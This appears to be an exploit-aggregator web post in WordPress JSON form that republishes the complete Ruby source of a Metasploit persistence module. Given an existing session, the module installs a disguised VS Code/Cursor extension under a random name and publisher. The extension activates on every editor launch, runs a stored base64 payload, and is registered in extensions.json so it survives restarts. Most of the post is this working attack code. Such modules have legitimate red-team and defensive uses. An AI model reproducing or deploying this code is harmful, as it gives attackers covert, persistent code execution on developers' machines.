{"id":62047,"date":"2026-06-11T14:53:14","date_gmt":"2026-06-11T14:53:14","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=62047"},"modified":"2026-06-11T14:53:14","modified_gmt":"2026-06-11T14:53:14","slug":"vs-code-extension-persistence","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=62047","title":{"rendered":"VS Code Extension Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-11T19:28:04&#8243;,&#8221;description&#8221;:&#8221;This module installs a malicious VS Code extension into the target&#8217;s VS Code extensions directory. The extension executes the payload each time VS Code is launched, providing persistent code execution. Supports VS Code, VS Code Insiders, VSCodium, VS&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-11T19:00:41&#8243;,&#8221;modified&#8221;:&#8221;2026-06-11T19:00:41&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;VS Code Extension Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n# frozen_string_literal: true\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n  Rank = ExcellentRanking\\n\\n  include Msf::Post::File\\n  include Msf::Post::Unix # whoami\\n  include Msf::Exploit::Local::Persistence\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;VS Code Extension Persistence&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module installs a malicious VS Code extension into the target&#8217;s\\n          VS Code extensions directory. The extension executes the payload each time\\n          VS Code is launched, providing persistent code execution. Supports VS Code,\\n          VS Code Insiders, VSCodium, VS Code Server, and Cursor.\\n\\n          Tested against 1.120.0 on Kali and Windows 10\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;h00die&#8217;,\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2015-04-29&#8217;, # VS Code first public release\\n        &#8216;SessionTypes&#8217; =\\u003e [&#8216;shell&#8217;, &#8216;meterpreter&#8217;],\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;URL&#8217;, &#8216;https:\/\/code.visualstudio.com\/api\/get-started\/your-first-extension&#8217;],\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS]\\n        ],\\n        &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n        &#8216;Platform&#8217; =\\u003e %w[linux windows],\\n        &#8216;Payload&#8217; =\\u003e {\\n          &#8216;Space&#8217; =\\u003e 8191,\\n          &#8216;DisableNops&#8217; =\\u003e true\\n        },\\n        &#8216;Targets&#8217; =\\u003e [\\n          [&#8216;Windows&#8217;, { &#8216;Platform&#8217; =\\u003e &#8216;windows&#8217; }],\\n          [&#8216;Linux&#8217;, { &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;] }],\\n          # [&#8216;OSX&#8217;, { &#8216;Platform&#8217; =\\u003e &#8216;osx&#8217; }] this likely works but I don&#8217;t have a test environment to verify it, so leaving it out of the target list for now\\n        ],\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n        },\\n        &#8216;DefaultTarget&#8217; =\\u003e 0\\n      )\\n    )\\n\\n    register_options([\\n      OptString.new(&#8216;NAME&#8217;, [false, &#8216;Name of the extension (Random if left blank)&#8217;, &#8221;]),\\n      OptString.new(&#8216;PUBLISHER&#8217;, [false, &#8216;Publisher name for the extension (Random if left blank)&#8217;, &#8221;]),\\n      OptString.new(&#8216;DESCRIPTION&#8217;, [false, &#8216;Description of the extension (Random if left blank)&#8217;, &#8221;]),\\n      OptString.new(&#8216;USER&#8217;, [false, &#8216;User to target, or current user if blank&#8217;, &#8221;]),\\n      OptPath.new(&#8216;ICON&#8217;, [false, &#8216;Local path to an icon file (PNG) to include with the extension&#8217;]),\\n      OptString.new(&#8216;VERSION&#8217;, [false, &#8216;Extension version in major.minor.patch format&#8217;, &#8216;1.0.0&#8217;])\\n    ])\\n    deregister_options(&#8216;WritableDir&#8217;)\\n  end\\n\\n  def ext_name\\n    @ext_name ||= datastore[&#8216;NAME&#8217;].blank? ? rand_text_alphanumeric(4..10).downcase : datastore[&#8216;NAME&#8217;].downcase\\n  end\\n\\n  def ext_publisher\\n    @ext_publisher ||= datastore[&#8216;PUBLISHER&#8217;].blank? ? rand_text_alpha(4..8).downcase : datastore[&#8216;PUBLISHER&#8217;].downcase\\n  end\\n\\n  def ext_version\\n    @ext_version ||= begin\\n      ver = datastore[&#8216;VERSION&#8217;].blank? ? &#8216;1.0.0&#8217; : datastore[&#8216;VERSION&#8217;]\\n      fail_with(Failure::BadConfig, \\&#8221;VERSION must be in major.minor.patch format (e.g. 1.0.0), got: #{ver}\\&#8221;) unless ver.match?(\/\\\\A\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\z\/)\\n      ver\\n    end\\n  end\\n\\n  def ext_dir_name\\n    \\&#8221;#{ext_publisher}.#{ext_name}-#{ext_version}\\&#8221;\\n  end\\n\\n  def package_json\\n    pkg = {\\n      &#8216;name&#8217; =\\u003e ext_name,\\n      &#8216;displayName&#8217; =\\u003e ext_name,\\n      &#8216;description&#8217; =\\u003e datastore[&#8216;DESCRIPTION&#8217;].blank? ? &#8221; : datastore[&#8216;DESCRIPTION&#8217;],\\n      &#8216;version&#8217; =\\u003e ext_version,\\n      &#8216;publisher&#8217; =\\u003e ext_publisher,\\n      &#8216;engines&#8217; =\\u003e { &#8216;vscode&#8217; =\\u003e &#8216;^1.0.0&#8217; },\\n      &#8216;activationEvents&#8217; =\\u003e [&#8216;*&#8217;],\\n      &#8216;main&#8217; =\\u003e &#8216;.\/extension.js&#8217;\\n    }\\n    pkg[&#8216;icon&#8217;] = \\&#8221;.\/#{::File.basename(datastore[&#8216;ICON&#8217;])}\\&#8221; unless datastore[&#8216;ICON&#8217;].blank?\\n    pkg.to_json\\n  end\\n\\n  def extension_js\\n    template_path = ::File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;vscode_extension&#8217;, &#8216;extension.js.template&#8217;)\\n    fail_with(Failure::BadConfig, \\&#8221;Extension template not found: #{template_path}\\&#8221;) unless ::File.exist?(template_path)\\n\\n    ::File.read(template_path)\\n  end\\n\\n  def target_user\\n    return datastore[&#8216;USER&#8217;] unless datastore[&#8216;USER&#8217;].blank?\\n\\n    return cmd_exec(&#8216;cmd.exe \/c echo %USERNAME%&#8217;).strip if windows?\\n\\n    whoami\\n  end\\n\\n  def windows?\\n    [&#8216;windows&#8217;, &#8216;win&#8217;].include?(session.platform)\\n  end\\n\\n  # def osx?\\n  #   session.platform == &#8216;osx&#8217;\\n  # end\\n\\n  def vscode_ext_dirs\\n    user = target_user\\n    vprint_status(\\&#8221;Target user: #{user}\\&#8221;)\\n\\n    if windows?\\n      [\\n        \\&#8221;C:\\\\\\\\Users\\\\\\\\#{user}\\\\\\\\.vscode\\\\\\\\extensions\\&#8221;,\\n        \\&#8221;C:\\\\\\\\Users\\\\\\\\#{user}\\\\\\\\.vscode-insiders\\\\\\\\extensions\\&#8221;,\\n        \\&#8221;C:\\\\\\\\Users\\\\\\\\#{user}\\\\\\\\.cursor\\\\\\\\extensions\\&#8221;\\n      ]\\n    # when &#8216;osx&#8217; \u2014 uncomment and add &#8216;osx&#8217; to Platform\/Targets once verified on macOS\\n    # [\\n    #   \\&#8221;\/Users\/#{user}\/.vscode\/extensions\\&#8221;,\\n    #   \\&#8221;\/Users\/#{user}\/.vscode-insiders\/extensions\\&#8221;,\\n    #   \\&#8221;\/Users\/#{user}\/.vscode-oss\/extensions\\&#8221;,\\n    #   \\&#8221;\/Users\/#{user}\/.cursor\/extensions\\&#8221;\\n    # ]\\n    else\\n      home = user == &#8216;root&#8217; ? &#8216;\/root&#8217; : \\&#8221;\/home\/#{user}\\&#8221;\\n      [\\n        \\&#8221;#{home}\/.vscode\/extensions\\&#8221;,\\n        \\&#8221;#{home}\/.vscode-insiders\/extensions\\&#8221;,\\n        \\&#8221;#{home}\/.vscode-server\/extensions\\&#8221;,\\n        \\&#8221;#{home}\/.vscode-oss\/extensions\\&#8221;,\\n        \\&#8221;#{home}\/.cursor\/extensions\\&#8221;,\\n        \\&#8221;#{home}\/snap\/code\/current\/.config\/Code\/extensions\\&#8221;\\n      ]\\n    end\\n  end\\n\\n  def check\\n    vscode_ext_dirs.each do |dir|\\n      next unless directory?(dir)\\n      if !windows? \\u0026\\u0026 !writable?(dir)\\n        return CheckCode::Appears(\\&#8221;VS Code extensions directory found but not writable: #{dir}\\&#8221;)\\n      end\\n\\n      return CheckCode::Appears(\\&#8221;VS Code extensions directory found: #{dir}\\&#8221;)\\n    end\\n\\n    CheckCode::Safe(&#8216;No VS Code extensions directory found&#8217;)\\n  rescue StandardError =\\u003e e\\n    CheckCode::Unknown(\\&#8221;Error checking for VS Code: #{e.message}\\&#8221;)\\n  end\\n\\n  def vscode_running?\\n    if windows?\\n      !cmd_exec(&#8216;powershell -Command \\&#8221;Get-Process -Name Code* -ErrorAction SilentlyContinue\\&#8221;&#8216;).strip.empty?\\n    else\\n      # The [c]ode bracket trick prevents the grep process itself from matching\\n      !cmd_exec(&#8216;ps -ef 2\\u003e\/dev\/null | grep -i \\&#8221;[c]ode\\&#8221;&#8216;).strip.empty?\\n    end\\n  end\\n\\n  # VS Code URI path format for Windows: \/c:\/users\/&#8230; (lowercase drive, forward slashes)\\n  def uri_path(full_path)\\n    return full_path unless windows?\\n\\n    &#8216;\/&#8217; + full_path.gsub(&#8216;\\\\\\\\&#8217;, &#8216;\/&#8217;).sub(\/^([A-Za-z]):\/) { \\&#8221;#{::Regexp.last_match(1).downcase}:\\&#8221; }\\n  end\\n\\n  def register_extension(ext_base, ext_dir)\\n    sep = windows? ? &#8216;\\\\\\\\&#8217; : &#8216;\/&#8217;\\n    index_path = \\&#8221;#{ext_base}#{sep}extensions.json\\&#8221;\\n\\n    extensions = []\\n    if file?(index_path)\\n      print_status(&#8216;Reading extensions.json&#8230;&#8217;)\\n      begin\\n        extensions = JSON.parse(read_file(index_path))\\n        # Remove any stale entry for this extension id\\n        extensions.reject! { |e| e.dig(&#8216;identifier&#8217;, &#8216;id&#8217;)\\u0026.casecmp?(\\&#8221;#{ext_publisher}.#{ext_name}\\&#8221;) }\\n      rescue JSON::ParserError =\\u003e e\\n        print_warning(\\&#8221;Could not parse extensions.json: #{e.message} &#8211; starting fresh\\&#8221;)\\n        extensions = []\\n      end\\n    end\\n\\n    entry = {\\n      &#8216;identifier&#8217; =\\u003e { &#8216;id&#8217; =\\u003e \\&#8221;#{ext_publisher}.#{ext_name}\\&#8221; },\\n      &#8216;version&#8217; =\\u003e ext_version,\\n      &#8216;location&#8217; =\\u003e {\\n        &#8216;$mid&#8217; =\\u003e 1,\\n        &#8216;fsPath&#8217; =\\u003e ext_dir,\\n        &#8216;path&#8217; =\\u003e uri_path(ext_dir),\\n        &#8216;scheme&#8217; =\\u003e &#8216;file&#8217;\\n      },\\n      &#8216;relativeLocation&#8217; =\\u003e ext_dir_name,\\n      &#8216;metadata&#8217; =\\u003e {\\n        &#8216;id&#8217; =\\u003e SecureRandom.uuid,\\n        &#8216;publisherId&#8217; =\\u003e SecureRandom.uuid,\\n        &#8216;publisherDisplayName&#8217; =\\u003e ext_publisher,\\n        &#8216;targetPlatform&#8217; =\\u003e &#8216;undefined&#8217;,\\n        &#8216;isPreReleaseVersion&#8217; =\\u003e false,\\n        &#8216;hasPreReleaseVersion&#8217; =\\u003e false,\\n        &#8216;installedTimestamp&#8217; =\\u003e (Time.now.to_f * 1000).to_i,\\n        &#8216;pinned&#8217; =\\u003e false,\\n        &#8216;isApplicationScoped&#8217; =\\u003e false,\\n        &#8216;updated&#8217; =\\u003e false,\\n        &#8216;preRelease&#8217; =\\u003e false\\n      }\\n    }\\n\\n    extensions \\u003c\\u003c entry\\n    write_file(index_path, JSON.generate(extensions))\\n    print_good(\\&#8221;Registered extension in #{index_path}\\&#8221;)\\n    index_path\\n  end\\n\\n  def install_persistence\\n    print_status(\\&#8221;Using extension: #{ext_dir_name}\\&#8221;)\\n\\n    ext_base = vscode_ext_dirs.find { |dir| directory?(dir) }\\n    fail_with(Failure::NotFound, &#8216;No VS Code extensions directory found&#8217;) if ext_base.nil?\\n\\n    print_status(\\&#8221;Installing to: #{ext_base}\\&#8221;)\\n\\n    sep = windows? ? &#8216;\\\\\\\\&#8217; : &#8216;\/&#8217;\\n    ext_dir = \\&#8221;#{ext_base}#{sep}#{ext_dir_name}\\&#8221;\\n\\n    unless directory?(ext_dir)\\n      print_status(\\&#8221;Creating extension directory: #{ext_dir}\\&#8221;)\\n      mkdir(ext_dir, cleanup: false)\\n    end\\n\\n    pkg_path = \\&#8221;#{ext_dir}#{sep}package.json\\&#8221;\\n    fail_with(Failure::UnexpectedReply, \\&#8221;Failed to write #{pkg_path}\\&#8221;) unless write_file(pkg_path, package_json)\\n    print_good(\\&#8221;Wrote package.json to #{pkg_path}\\&#8221;)\\n\\n    js_path = \\&#8221;#{ext_dir}#{sep}extension.js\\&#8221;\\n    fail_with(Failure::UnexpectedReply, \\&#8221;Failed to write #{js_path}\\&#8221;) unless write_file(js_path, extension_js)\\n    print_good(\\&#8221;Wrote extension.js to #{js_path}\\&#8221;)\\n\\n    unless datastore[&#8216;ICON&#8217;].blank?\\n      icon_data = ::File.binread(datastore[&#8216;ICON&#8217;])\\n      fail_with(Failure::BadConfig, \\&#8221;ICON is not a valid PNG file: #{datastore[&#8216;ICON&#8217;]}\\&#8221;) unless icon_data.b.start_with?(\\&#8221;\\\\x89PNG\\\\r\\\\n\\\\x1a\\\\n\\&#8221;.b)\\n\\n      icon_path = \\&#8221;#{ext_dir}#{sep}#{::File.basename(datastore[&#8216;ICON&#8217;])}\\&#8221;\\n      fail_with(Failure::UnexpectedReply, \\&#8221;Failed to write #{icon_path}\\&#8221;) unless write_file(icon_path, icon_data)\\n      print_good(\\&#8221;Wrote icon to #{icon_path}\\&#8221;)\\n    end\\n\\n    ext_path = \\&#8221;#{ext_dir}#{sep}external\\&#8221;\\n    fail_with(Failure::UnexpectedReply, \\&#8221;Failed to write #{ext_path}\\&#8221;) unless write_file(ext_path, [payload.encoded].pack(&#8216;m0&#8217;))\\n    print_good(\\&#8221;Wrote payload to #{ext_path}\\&#8221;)\\n\\n    register_extension(ext_base, ext_dir)\\n\\n    if vscode_running?\\n      print_warning(&#8216;VS Code is currently running &#8211; restart VS Code to activate the extension.&#8217;)\\n    else\\n      print_status(&#8216;VS Code is not running &#8211; launch it to trigger the extension.&#8217;)\\n    end\\n\\n    @clean_up_rc \\u003c\\u003c \\&#8221;rm -rf \\\\\\&#8221;#{ext_dir}\\\\\\&#8221;\\\\n\\&#8221;\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/persistence\/vscode_extension.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/persistence\/vscode_extension\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-11T19:28:04&#8243;,&#8221;description&#8221;:&#8221;This module installs a malicious VS Code extension into the target&#8217;s VS Code extensions directory. The extension executes the payload each time VS Code is&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-62047","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>VS Code Extension Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=62047\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"VS Code Extension Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-11T19:28:04&#8243;,&#8221;description&#8221;:&#8221;This module installs a malicious VS Code extension into the target&#8217;s VS Code extensions directory. The extension executes the payload each time VS Code is...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=62047\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-11T14:53:14+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62047#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62047\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"VS Code Extension Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION-\",\"datePublished\":\"2026-06-11T14:53:14+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62047\"},\"wordCount\":1715,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62047#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62047\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62047\",\"name\":\"VS Code Extension Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-11T14:53:14+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62047#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62047\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62047#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"VS Code Extension Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"VS Code Extension Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=62047","og_locale":"en_US","og_type":"article","og_title":"VS Code Extension Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-11T19:28:04&#8243;,&#8221;description&#8221;:&#8221;This module installs a malicious VS Code extension into the target&#8217;s VS Code extensions directory. The extension executes the payload each time VS Code is...","og_url":"https:\/\/zero.redgem.net\/?p=62047","og_site_name":"zero redgem","article_published_time":"2026-06-11T14:53:14+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=62047#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=62047"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"VS Code Extension Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION-","datePublished":"2026-06-11T14:53:14+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=62047"},"wordCount":1715,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=62047#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=62047","url":"https:\/\/zero.redgem.net\/?p=62047","name":"VS Code Extension Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-11T14:53:14+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=62047#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=62047"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=62047#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"VS Code Extension Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 